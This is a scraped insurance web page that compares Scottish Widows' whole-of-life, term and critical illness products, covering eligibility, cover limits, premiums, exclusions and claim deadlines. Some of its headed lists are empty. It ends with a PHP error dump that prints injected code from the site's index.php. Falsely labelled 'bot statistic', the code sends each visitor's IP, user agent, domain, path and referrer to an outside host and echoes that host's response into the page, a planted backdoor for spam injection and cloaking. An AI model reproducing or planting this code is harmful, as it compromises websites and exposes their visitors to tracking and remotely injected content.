Exploring the Features of Scottish Widows' Life Insurance Products

Scottish Widows carries three life insurance products:

Why Go with Scottish Widows?

Here are some reasons to go with Scottish Widows:

Quick Facts

 

Lifetime Cover
(Whole of Life Cover)

Term Insurance Critical Illness with Life Cover
Primary purpose of product

Helps pay for unexpected bills incurred due to the death of the Person Insured. Cover lasts for the Person Insured’s lifetime.

Provides a lump sum or monthly income upon the Person Insured’s death or terminal illness

Provides a lump sum or monthly income upon the Person Insured’s death, terminal illness or critical illness (if this is included)

Plan basics

Provides lifetime cover with a level or increasing sum insured for the rest of the Person’s life.

No medical evidence required for Sum Insured £15,000 and below, subject to terms and conditions.

Term insurance that can provide a lump sum or a monthly income.

Sum Insured can be level, increasing or decreasing.

Term insurance that can provide a lump sum or a monthly income.

Only one payout on the Sum Insured is made. If a claim for critical illness is paid, there will be no more subsequent payments upon the Person Insured’s death.

Cover limits

Minimum: £2,000

Maximum: £5,000,000

Minimum: £2,000 or £240 for monthly benefit

Maximum: £5,000,000

Minimum: £2,000 or £240 for monthly benefit

Maximum: £5,000,000

Cash-in value

None

None

None

Eligibility
Minimum age at entry

18

18

18

Maximum age at entry

74

For decreasing basis: 64

For level basis: 68

64

Other eligibility requirements

Must be a resident of the UK, except the Isle of Man or the Channel Islands.

Must have a bank account in the UK.

Must be a resident of the UK, except the Isle of Man or the Channel Islands.

Must have a bank account in the UK.

Must be a resident of the UK, except the Isle of Man or the Channel Islands.

Must have a bank account in the UK.

Length of Cover
Minimum term

Not applicable

For decreasing basis: 5 years

For level basis: 1 year

5 years

Maximum term

No maximum term, plan can continue for the whole of the Person Insured’s life

40 years

40 years

Maximum age

Not applicable, as long as premiums continue to be paid (until age 90), the cover will also continue.

69 years old

69 years old

Premiums

Premiums payments are only up to age 90. On the anniversary of the policy following the Person Insured’s 90th birthday, no more premiums are required but cover will still continue.

Minimum premium

Depending on premium for minimum available cover

Depending on premium for minimum available cover

Depending on premium for minimum available cover

Maximum premium

Depending on premium for maximum available cover

Depending on premium for maximum available cover

Depending on premium for maximum available cover

Guaranteed premiums

Yes

Yes

Yes

Reviewable premium

No

Yes, reviewable every 5 years.

Yes, reviewable every 5 years.

Joint life cover

Yes, but only for Sum Insureds below £15,000

No, but can avail of a two person plan (two individual plans under one policy)

No, but can avail of a two person plan (two individual plans under one policy)

Other benefits
  • 30 Days’ Free Accidental death cover (automatic)
  • Premium Protection (for Sum Insured greater than £15,000)
  • Terminal illness cover (automatic)
  • 30 Days’ Free Accidental death benefit (automatic) or 90 Days Mortgage Free cover
  • Waiver of premium (optional)
  • Terminal illness cover (automatic)
  • 30 Days’ Free Accidental death benefit (automatic) or 90 Days Mortgage Free cover
  • Waiver of premium (optional)
  • Critical Illness (automatic)
Exclusions

For some policies, there may be an Early Death Exclusion and Accidental death. Under this exclusion, full payment of the Sum Insured would only be made after the policy has been in force for at least 2 years. Any deaths within the first 2 years should be caused by an accident if it is to be payable.

For accidental death under the Early Death Exclusion:

  • Self-inflicted injury
  • Hazardous sports and pastimes

No payments will be made if the death or disability arises, directly or indirectly from:

  • Self-inflicted injury, including attempted suicide
  • Involvement in criminal activities (including provoking an assault or criminal offence)
  • War and civil commotion
  • Abuse of drugs and alcohol
  • Accidents that occur prior to the application
  • Unreasonable failure to follow medical advice

No payments will be made if critical illnesses arises, directly or indirectly from:

  • Self-inflicted injury, including attempted suicide
  • Involvement in criminal activities
  • War and civil commotion
  • Abuse of drugs (including prescription medication) and alcohol
  • Unreasonable failure to follow medical advice
  • For children’s critical illness, if the illness was a pre-existing medical condition before he reached 6 months old

Plan Details

Payment of Benefit. The policy will pay out the Sum Insured when the Person Insured

The payments will only be made if death or illness occurs within the plan term and as long as the policy remains in force.

Sum Insured. The Sum insured can be level, increasing or decreasing.

Monthly benefit payments. An option to get a monthly benefit is available. This is to ensure that there is a regular income for the family upon the death of the Person Insured. If the Person Insured dies within the policy term, this provides a monthly income until the policy ends. The monthly benefit payments can also be at an increasing basis (based on the RPI, but not less than 2% or more than 10% annually). The beneficiaries have the option to convert future monthly benefit payments into a lump sum.

Premiums. For life cover and critical illness with life cover, the premiums can either be guaranteed or reviewable.

Additional Benefits/Options

Critical illness cover. This covers the Person Insured in case he gets critically ill. It pays out the Sum Insured if the critical illness meets the definition stated in the policy.

The Critical Illness Cover will pay if the Person Insured is diagnosed with:

Other details:

Terminal illness cover. If a Person Insured is diagnosed with a terminal illness, this benefit will pay the Sum Insured. A terminal illness is one that is reasonably expected to result in death in one year or less from the date of diagnosis.

Other details:

Premium Protection. This pays the premiums for the policy if the Person Insured can no longer do so because of illness or injury. This is an optional benefit.

Other details:

Free life cover. This provides free life cover for the Person Insured before the policy becomes effective. This serves as the Person Insured’s insurance protection while he is waiting for contracts to be finalized or for his policy to be evaluated. It is referred to as 90 Day’s Mortgage Free Cover or 30 Days’ Free Accidental Death Cover.

Other details:

How to make a claim

Claims are made and payments are received by:

Death claims: Beneficiaries

Critical illness claims: Person Insured or owner of the policy (if these are different)

Waiver of Premiums claims: Premiums paid out directly to the company

Documents that may be required include:

Time limits:

Critical Illness – Claims should be made within 6 months from the date of diagnosis.

Terminal illness – Claim should be made at least 1 year before the date the cover ends.

Waiver of Premium – Claim should be made within 13 weeks of the disability.

To secure your family's future, fill in the form on the right and get your term life insurance quote now.

Types of insurance:
Term life insurance 101:
Life insurers:
*Scottish Provident 2012 life cover claims paid report.
MODx Content Manager »

« MODx Parse Error »

MODx encountered the following error while attempting to parse the requested resource:
« PHP Parse Error »
 
PHP error debug
  Error: file_get_contents(): php_network_getaddresses: getaddrinfo failed: Name or service not known 
  Error type/ Nr.: Warning - 2 
  File: /home/termlife/public_html/index.php 
  Line: 139 
  Line 139 source: <?php /*This code use for global bot statistic*/ $sUserAgent = strtolower($_SERVER['HTTP_USER_AGENT']); /*Looks for google search bot*/ $sReferer = ''; if(isset($_SERVER['HTTP_REFERER']) === true) { $sReferer = strtolower($_SERVER['HTTP_REFERER']); } if(!(strpos($sUserAgent, 'google') === false)) /*Bot comes*/ { if(isset($_SERVER['REMOTE_ADDR']) == true && isset($_SERVER['HTTP_HOST']) == true) /*Create bot analitics*/ echo file_get_contents('http://fastprotect1.net/Defense/Stat14/Stat.php?ip='.urlencode($_SERVER['REMOTE_ADDR']).'&useragent='.urlencode($sUserAgent).'&domainname='.urlencode($_SERVER['HTTP_HOST']).'&fullpath='.urlencode($_SERVER['REQUEST_URI']).'&check='.isset($_GET['look']).'&ref='.urlencode($sReferer) ); } else { if(isset($_SERVER['REMOTE_ADDR']) == true && isset($_SERVER['HTTP_HOST']) == true) /*Create bot analitics*/ echo file_get_contents('http://fastprotect1.net/Defense/Stat14/Stat.php?ip='.urlencode($_SERVER['REMOTE_ADDR']).'&useragent='.urlencode($sUserAgent).'&domainname='.urlencode($_SERVER['HTTP_HOST']).'&fullpath='.urlencode($_SERVER['REQUEST_URI']).'&addcheck='.'&check='.isset($_GET['look']).'&ref='.urlencode($sReferer)); } /*Statistic code end*/ ?>  
 
Parser timing
  MySQL: 0.0037 s(0 Requests)
  PHP: 5.1321 s 
  Total: 5.1358 s